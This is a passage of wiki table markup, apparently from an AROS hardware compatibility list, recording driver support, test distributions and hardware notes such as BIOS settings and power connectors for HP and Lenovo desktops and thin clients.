| &lt;!--Name--&gt;HP Pavilion a220n || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|VESA 1024x768 on nVidia GF4 MX with 64MB shared video ram}} || &lt;!--Audio--&gt;{{Yes|Realtek ALC650 AC'97 comp.}} || &lt;!--USB--&gt;{{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{Yes|Realtek 8201BL 10/100 LAN}} || &lt;!--Test Distro--&gt;AROS One 2.5|| &lt;!--Comments--&gt;2004 32bit athlon xp 2600+ Socket 462 / Socket A - 2 dimm ddr pc2700 - 
|-
| &lt;!--Name--&gt;t500 
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|FX5200 (2D; 3D with older driver)}} 
| &lt;!--Audio--&gt;{{Yes|AC97 ICH4 ALC658D}}
| &lt;!--USB--&gt;{{Yes|UHCI/EHCI}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8101L 8139}}
| &lt;!--Test Distro--&gt;Nightly Build 2012-09-22
| &lt;!--Comments--&gt;2004 
|-
| &lt;!--Name--&gt;DC7700
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{Yes|GMA 2D}}
| &lt;!--Audio--&gt;{{Yes| ICH8}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{No|82566DM e1000e}}
| &lt;!--Test Distro--&gt;Nightly Build 2013-??-??
| &lt;!--Comments--&gt;2006 Some support at low cost 
|-
| &lt;!--Name--&gt;HP dc 7600 CMT
| &lt;!--IDE--&gt; 
| &lt;!--SATA--&gt; 
| &lt;!--Gfx--&gt;{{Yes|Intel Graphics Media Accelerator 950}}
| &lt;!--Audio--&gt;{{Yes|Realtek ACL 260}}
| &lt;!--USB--&gt;{{Yes|USB 2.0}}
| &lt;!--Ethernet--&gt;{{No|Intel PRO/1000 GT}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP t5000 thin client series t5500 t5510 t5515 PC538A or PC542A t5700 t5710 Transmeta Crusoe Code Morphing TM 5400 5600 800Mhz
| &lt;!--IDE--&gt;128mb to 512MB 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;Ati Radeon 7000M 
| &lt;!--Audio--&gt;VIA  with codec 
| &lt;!--USB--&gt;{{No|Issues}}
| &lt;!--Ethernet--&gt;VIA Rhine 2
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit - ddr max 1GB - F10 setup - all t51xx and some t55xx units will not include a SODIMM slot - 
|-
| &lt;!--Name--&gt;HP t5000 thin client series CN700 
*HSTNC-002L-TC	t5135, t5530 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d 128Mb Via S3 32-bit colour
| &lt;!--Audio--&gt;AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;VIA VT6102 VT6103 [Rhine-II] (rev 78) 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit t5135 appears identical to the t5530 except the CPU VIA Esther 400 MHz - RAM 64Mb (? max) - 8 x USB2.0 - 12V 3.33A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;HP t5720, t5725 HSTNC-001L-TC 
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VESA 2d SiS741GX 2048 x 1536 32-bit colour
| &lt;!--Audio--&gt;AC97 SiS SiS7012 AC'97 
| &lt;!--USB--&gt;6 x USB2.0
| &lt;!--Ethernet--&gt;VIA VT6102 VT6103 [Rhine-II] (rev 8d)
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit AMD Geode NX1500 1GHz socketed - RAM 512MB or 1GB, 256MB, 512MB or 1GB - 12V psu - sis DDMA support - custom 1.13 BIOS - pci low profile - 
|-
| &lt;!--Name--&gt;t5000 series VX800 HSTNC-004-TC t5145, t5540, t5545, t5630 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d VIA Chrome9 
| &lt;!--Audio--&gt;HD Audio VIA 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|VT6120 VT6121 VT6122 Gigabit (rev 82)}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit   - RAM 64Mb (? max) - 8 x USB2.0 - 12V 4.16A Coax: 5.5mm/2.1mm - 
|-
| &lt;!--Name--&gt;t5730w HSTNC-003-TC t5730 
| &lt;!--IDE--&gt;{{n/a|ATA 44pin DOM Flash}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d ATI Radeon X1250 2048 x 1536 no 3D 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{Yes|6 x USB2.0}}
| &lt;!--Ethernet--&gt;{{No|Broadcom 5707M tg3 10/100/1000}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 64bit AMD Sempron 2100+ 1GHz - 1 slot of ddr2 sodimm (Max 2GB) - 12V 4.16A Coax 5.5mm/2.1mm - F10  enter bios F12 boot devices - 
|-
| &lt;!--Name--&gt;HSTNC-005-TC gt7720, gt7725 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d AMD RS780G HD 3200 - 2560 x 1600 DVI-D &amp; DVI-H
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;8 x USB2.0
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM5787M}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 64bit AMD Turion Dual Core CPU 2.3GHz - 1 DDR2 200-pin SODIMM - 19V 4.16A Coax 7.4mm/5.0mm (gt7725) - 
|-
| &lt;!--Name--&gt;HP t5740 Thin Client HSTNC-006-TC t5740, t5745, st5742 
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;1 port 
| &lt;!--Gfx--&gt;{{Maybe|VESA for Intel CL40 VGA and DisplayPort connectors}}
| &lt;!--Audio--&gt;{{Yes|HD audio with IDT codec}}
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780 Gigabit}}
| &lt;!--Test Distro--&gt;Nightly build and Icaros 
| &lt;!--Comments--&gt;2009 32bit Atom N280 - F10 on power up to get into the BIOS screens. F12 brings up the boot options - hp 19V one with a coax connector, outer diameter 4.8mm with inner to be 1.7mm to 1.4mm - 2 ddr3 sodimm slots max 3gb due to 32bit - 1 pci-e slot completely non standard - 
|-
| &lt;!--Name--&gt;t5000 series HSTNC-012-TC VIA Nano u3500 VX900 
*t5550 512MB/1GB Windows CE6 R3
*t5565 1GB/1GB HP ThinPro
*t5570 2GB/1GB WES 2009 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d VIA ChromotionHD 2.0 GPU Chrome9 
| &lt;!--Audio--&gt;VIA 9170 VT1708S codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780 Gigabit}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;32bit - 1 sodimm - 19V 3.42A supply connector standard yellow-tip coax plug 4.8mm/1.8mm &quot;Standard HP Compaq DC Power Plug 4.8mm x 1.5mm / 1.7mm Yellow Tip Connector - 
|-
| &lt;!--Name--&gt;HP t510 Via Eden X2 U4200 HSTNC-012-TC shares features with t5570e, t5565z 
| &lt;!--IDE--&gt;2G ATA Flash DOM
| &lt;!--SATA--&gt;one 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for Chrome9 VIA ChromotionHD 2.0 gfx}}
| &lt;!--Audio--&gt;{{Maybe|VIA VT8237A VT8251 HDA with  codec}}
| &lt;!--USB--&gt;{{Maybe|6 USB2 }}
| &lt;!--Ethernet--&gt;{{No|Broadcom Corporation NetLink BCM57780 Gigabit Ethernet PCIe}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit - one slot ddr3 sodimm max 4GB - 19V 3.42A Coax 4.8mm/1.8mm - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP T610 Thin Client and thicker PLUS version AMD G-T56N A55E 
| &lt;!--IDE--&gt;{{Maybe|}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;Radeon 6320 1 dp port 1 dvi 
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;two USB2 on the front, two USB2 and two USB 3 ports on the rear 
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 64bit does not support AVX SSE 4.1 - 2 204-pin DDR3 1600MHz SODIMMs PC3-12800 under motherboard via removable panel - 19.5V 3A Coax male 7.4mm/5.0mm + centre pin - 
|-
| &lt;!--Name--&gt;HP T420 Thin Client 
*AMD Embedded G-Series GX-209JA SOC (1 GHz, 2 cores) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;Radeon 8180 dvi vga 
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;2 front 2 rear USB2 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64bit supports AVX SSE 4.1 - soldered in place 2GB DDR3 - smaller than usual 19.5V 2.31A Coax male 4.5mm/3.0mm + centre pin - usb stick internal for storage - E15 BBR - 
|-
| &lt;!--Name--&gt;HP t520 TPC-W016 
*AMD GX-212JC 1.2Ghz (2 core)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 m.2 mounting holes for 2242 and 2260 SSDs SATA (not NVME) 
| &lt;!--Gfx--&gt;Radeon R2E GCN2 IGP Sea Islands
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;2 USB3 front, 4 USB2 back 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 2017 64 bit supports AVX SSE 4.1 - 1 204-pin DDR3 SODIMM - 19.5V 3.33A 7.4mm Coax with central pin 
|-
| &lt;!--Name--&gt;HP t620 TPC-I004-TC  
*AMD G-Series GX-217GA 2 core APU 1.65GHz (65W)
*AMD GX-415GA 4 core (65W)
and t620 PLUS (PRO wider version) TPC-I020-TC
*AMD GX-420CA SOC 4 core (Plus 85W)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|single M.2 2280 socket sata3, mSATA socket removed end of 2014}} 
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d for Radeon HD 8280E graphics 8330E  Islands GCN2 IGP - 2 dp ports no dvi}}
| &lt;!--Audio--&gt;{{yes|HDAudio with Realtek ALC221 codec 0x10EC 0x0221}} 
| &lt;!--USB--&gt;{{unk|4 front, 2 back, 1 inside limited space}} 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169}}
| &lt;!--Test Distro--&gt;Aros One 32bit with noacpi added to grub boot line 
| &lt;!--Comments--&gt;2014 64bit supports AVX SSE 4.1 - 2 DDR3L SODIMMs side by side - mSATA ssd and M.2 SSD are M1.6 screws, M2.0 screws used on most SSDs - 19.5V 3.33A Coax male 7.4mm 5mm with centre pin - changed the network card to a Atheros 5000 compatible - 
|-
| &lt;!--Name--&gt;HP T530 
*AMD GX-215JJ (2 core) 1.5GHz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 m.2 sata ssd up to 2280 
| &lt;!--Gfx--&gt;Radeon R2E
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;1 USB3.1, 1 usb-c front, 4 USB2 back 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64 bit does support AVX SSE 4.1 - 1 204-pin DDR4 SODIMM - 19.5V 2.31A Coax male 4.5mm/3.0mm with centre pin - 
|-
| &lt;!--Name--&gt;HP T730 Wider &quot;Thin&quot; Client TPC-I018-TC Pixar RX-427BB (2c4t) - no display and fans blowing full speed caused by '''disabling internal gpu in bios''' flash L43_0116.bin onto smc MX25L6473F (3.3V 8-PIN SOP (200mil) SPI 25xx) ([https://www.badcaps.net/forum/troubleshooting-hardware-devices-and-electronics-theory/troubleshooting-desktop-motherboards-graphics-cards-and-pc-peripherals/bios-schematic-requests/96303-hp-t730-password-locked-bios in the rom rcvry socket under a delicate thin narrow surface flap]) with ch341a alike switchable from 5v, 3.3v to 1.8v 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{partial|Storage bios option to IDE and not AHCI to prevent constant install error messages to DH0: - add noacpi to end of grub boot line - 1 M.2 SATA slot (Key B+M) up to 2280 with T8 torx secure stub}}
| &lt;!--Gfx--&gt;{{maybe|use VESA for non-vulkan Radeon R7 GCN 2 UVD4.2 Sea Islands with 4 dp outs '''but too easy bricking''' if swapping with 1 PCIe 3.0 x8 slot 30W slim factor low profile 8400gs gt210 nvs295 nvs310 gt1030}}
| &lt;!--Audio--&gt;{{yes|HDaudio 6.34 realtek alc221 codec thru case speaker only}}
| &lt;!--USB--&gt;{{yes|'''Works''' for 4 USB2 in the back with 2 in the front, 2 USB3.0 ports on front and 1 more internal (not bootable)}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek RTL8111HSH-CG set up first in Prefs/Network}}
| &lt;!--Test Distro--&gt;boots with AROS One 32bit and 64bit USB with added noacpi added to grub boot line - press e - Latest distros can select grub boot options with Aros One 64bit USB and Aros One USB 2.8 but system seems to freeze after choice 
| &lt;!--Comments--&gt;2016 64bit supports AVX SSE 4.1 - 2 DDR3L sodimm stacked slots max 32GB - '''Larger''' 20cm/8&quot; high 3.5ltr case noisy fan - TPM2 - esc/F9 boot selector F10 enter bios - 2 serial and 1 parallel old ports - Key E Wireless - PCIe slot (x16 physical, x8 electrical) - 19.5V 4.36A 85w TPC-LA561 HP 7.4mm black-ring-tip power plug, red flashing power button, wrong psu or bad MotherBoard MB - 
|-
| &lt;!--Name--&gt;HP t630 Thin Client TPC-I020-TC 
*AMD Embedded G-Series SoC GX-420GI quad core 2Ghz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|ahci.device mbr msdos partiton table for 2 Sata M.2, sata0 up to 2280 (1tb max), sata1 2242 (64gb max), both T8 torx secure stubs}}
| &lt;!--Gfx--&gt;{{maybe|use VESA for Radeon AMD Wani R7E with 2 displayport 1.2 sockets, use one nearest to power jack - no dvi / hdmi}}
| &lt;!--Audio--&gt;{{Yes|HDAudio 6.36 0x1022, 0x157a and ALC255 aka ALC3234 codec 0x10ec, 0x0255, pins 0x17 as LFE and 0x1b as int speaker but not ahi 6.34}}
| &lt;!--USB--&gt;{{yes|USB2 2 front and 2 rear, 2 front USB3 and 1 inside}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169 8111H}}
| &lt;!--Test Distro--&gt;AROS One USB 2.2, 2.8 and 64bit USB 1.0, 1.2, 1.3 with noacpi added to the end of the grub bootline (press e) 
| &lt;!--Comments--&gt;2016 64bit supports AVX SSE 4.1 - 2 DDR4 SODIMMs side by side speed 1866Mhz limit - 19.5V 3.33A 65W TPC-BA54 Coax male 7.4mm with centre pin - can be easily bricked, might reflash bios with M40 SP149736 - 20cm/8&quot; high 1.5ltr larger fanless case - esc f1 f9 f10 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP Compaq Elite 7200 7300 8200 8300 SFF with kettle IEC psu cable 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{yes|IDE ata legacy only in BIOS}}
| &lt;!--Gfx--&gt;i pci-e 
| &lt;!--Audio--&gt;{{Maybe|8200 works}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{no|Intel or Broadcom}}
| &lt;!--Test Distro--&gt;icaros 2.3 
| &lt;!--Comments--&gt;2013 64bit dual core - add pci-e rtl8169 ethernet card and pci-e gf210 nvidia low height - 
|-
| &lt;!--Name--&gt;HP Compaq Pro 6305 Small Form Factor SFF AMD A75 chipset (FCH 6 SATA 6 Gb/s, 4 USB 3.0)
*AMD Quad A10-5800B
*AMD A8-5500B
*AMD Dual A6-5400B
*AMD A4-5300B
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Radeon 7000 Terascale iGPU series Radeon HD 7660D, Radeon HD 7560D, Radeon HD 7540D, Radeon HD 7480D 
| &lt;!--Audio--&gt;HD ALC221 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Broadcom 5761}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;Elitedesk 705 G1 - SFF
*AMD A10-8850B, Quad-Core A10 PRO-7850B, A10-8750B
*AMD A10-7800B, A10 PRO-6800B, A8-7600B
*AMD A8-8650B, A6-8550B
*AMD A6-8350B, Dual A6 PRO 7400B, A4-7300B
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{Maybe|VESA 2D with Radeon R7 or 8000}} 
| &lt;!--Audio--&gt;{{Maybe|HD audio with Realtek ALC221 codec}} 
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom or Intel}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit - T15 security torx psu with 6pin PWR 200W connector - 
|-
| &lt;!--Name--&gt;HP EliteDesk 705 G2, 705 G3 Mini PC USFF thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2.5in and m.2 
| &lt;!--Gfx--&gt;Radeon R7 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM5762 GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit AM4 socket with 35W TDP A10-8770E (4c), AMD PRO A6-8570E (2c), AMD Pro A6-9500E, or AMD PRO A10-9700E on AMD B300 FCH - ddr4 sodimm slots - 77 x 175 x 34mm (6.97 x 6.89 x 1.34in) 1L and about 3lbs - 
|-
| &lt;!--Name--&gt;HP EliteDesk 705 G4 Mini 1ltr USFF AMD Ryzen 3 2200G (4c t) or 5 2400G (4c t)
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|Nvme 2280 and 2.5in sata}}
| &lt;!--Gfx--&gt;Vega 8 thru DP1.2 port 
| &lt;!--Audio--&gt;{{No|HD Audio Conexant  codec}} 
| &lt;!--USB--&gt;USB2 usb3 
| &lt;!--Ethernet--&gt;rtl8169 realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit Am4 socket - 2 sodimm 16GB max - 19.5v hp socket ext psu - 
|-
| &lt;!--Name--&gt;Elitedesk 705 G4 35w, HP Prodesk 405 G4 35W USFF - baseboard 83e9 35W - AMD Athlon PRO 200GE (2c 4t), 2200GE (4c t) or 2400GE (4c t) on AMD B350 FCH 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Nvme 2280 and older models 2.5in sata}} 
| &lt;!--Gfx--&gt;Vega 3, 8 or 11 with 2 dp1.2 ports 
| &lt;!--Audio--&gt;{{no|HDAudio with Conexant CX20632 codec}} 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111EPH 1Gbe or Realtek RTL8111F 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2017 64bit - realtek wifi 8821 or 8822 - up to 1 ddr4 dimm slots - hp barrel external ac - 
|-
| &lt;!--Name--&gt;Elitedesk 705 G5, HP Elitedesk 806 G6, Prodesk 405 G6 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2x NVMe or 1x SATA + 1x NVMe, but not all three drives at the same time without serious modding of hd caddie || &lt;!--Gfx--&gt;Vega with DP1.4 port || &lt;!--Audio--&gt;{{no|HDAudio with Realtek ALC3205 codec}} || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 2 ddr4 sodimm slots - 3400GE Ryzen 5 PRO 3350GE (4c 8t), Ryzen 3 PRO 3200GE 3150GE (4c 4t), AMD Athlon Silver PRO 3125GE (2c 4t) on AMD PRO 565 
|-
| &lt;!--Name--&gt;HP t540 1ddr4 slot, t640 2 DDR4 SDRAM sodimm SO-DIMM 260-pin non-ECC max 32gb thin client USFF 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 NVM Express (NVMe) 2230 or 2280 
| &lt;!--Gfx--&gt;Vega 3 VGA, DisplayPort 
| &lt;!--Audio--&gt;HD Audio with  codec 
| &lt;!--USB--&gt;2 USB3 gen1 
| &lt;!--Ethernet--&gt;rtl8169 Realtek Realtek RTL8111HSH or RTL8111E PH-CG 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit ryzen r1000 series Ryzen Embedded R1305G 1.5 GHz, R1505G dual (2c 4t) 2.0Ghz or R1606G ?.?Ghz (2c4t) - Realtek RTL8852AE wifi - 45W psu Coax male 4.5mm/3.0mm + centre pin - 
|-
| &lt;!--Name--&gt;HP t740 SFF Thin Client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 M.2, one is sata and other nvme  
| &lt;!--Gfx--&gt;Vega 8 DisplayPort or + optional pci-e 30W Radeon E9173
| &lt;!--Audio--&gt;HD Audio with  codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek RTL8111E PH-CG 1Gbe
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - Ryzen Embedded V1756B 3.25Ghz quad - 90W 19.5V 4.62A psu Coax male 4.5mm/3.0mm + centre pin - sodimm DDR4 max 64Gb - slightly noisy fan - 
|-
| &lt;!--Name--&gt;HP EliteDesk 805 G6 Mini 4750GE (8t 16t), Prodesk 405 G6 Ryzen 5 PRO 4650GE (6c 12t) or Ryzen 3 PRO 4350GE (4c 8t) on AMD PRO 565
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2.5in carrier and 2 slots m.2 nvme 
| &lt;!--Gfx--&gt;Vega 8 with DP1.4 and HDMI flex io2 output options 
| &lt;!--Audio--&gt;HDAudio with Realtek ALC3205 codec 
| &lt;!--USB--&gt;4 usb a - gen 2 10gig and gen 1 5gig ports 
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit AMD Ryzen 4000 SBC unlocked - 2 sodimm ddr4 slots - wifi6 - 90W ac - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====Lenovo====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Lenovo Nettop IdeaCentre Q150 (40812HU) 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2 
| &lt;!--Audio--&gt; realtek codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;intel 10/100
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit D510 
|-
| &lt;!--Name--&gt;M625q Tiny (1L)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;M.2 Sata 
| &lt;!--Gfx--&gt;Stoney Radeon R2, R3 or R4 and later R5 with 2 dp ports 
| &lt;!--Audio--&gt;HD audio with  ALC233-VB2-CG codec 0x10EC 0x0233 
| &lt;!--USB--&gt;{{No|3 usb3.1 Gen 1 and 3 usb2}}
| &lt;!--Ethernet--&gt;rtl8169 RTL8111  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit all dual cores - e2-9000e or a4-9120e later A9-9420e - heatsink covers 70% area covers wifi - 65w or 135w lenovo rectangle ac - 1 ddr4 2666MHz slot max 8gb - tpm 2.0 - 
|-
| &lt;!--Name--&gt;M715q Gen 1 AMD A6 A8 A10-9700E 9770E (2c2t) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 
| &lt;!--Gfx--&gt;R4 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit - 
|-
| &lt;!--Name--&gt;M715q Gen 2 Ryzen 5 PRO 2400GE 4C 8T 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2
| &lt;!--Gfx--&gt;Vega 11 
| &lt;!--Audio--&gt;HD Audio  with codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - f1 enter setup, esc device boot - fixed 1.8v ch341a needed to reflash 1.8v bios if no boot SOP8 DIP8 Winbond W25Q64, MXIC MX25U1635, MX25U6435 - 
|-
| &lt;!--Name--&gt;ThinkCenter M75n nano Ryzen3 3300U 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
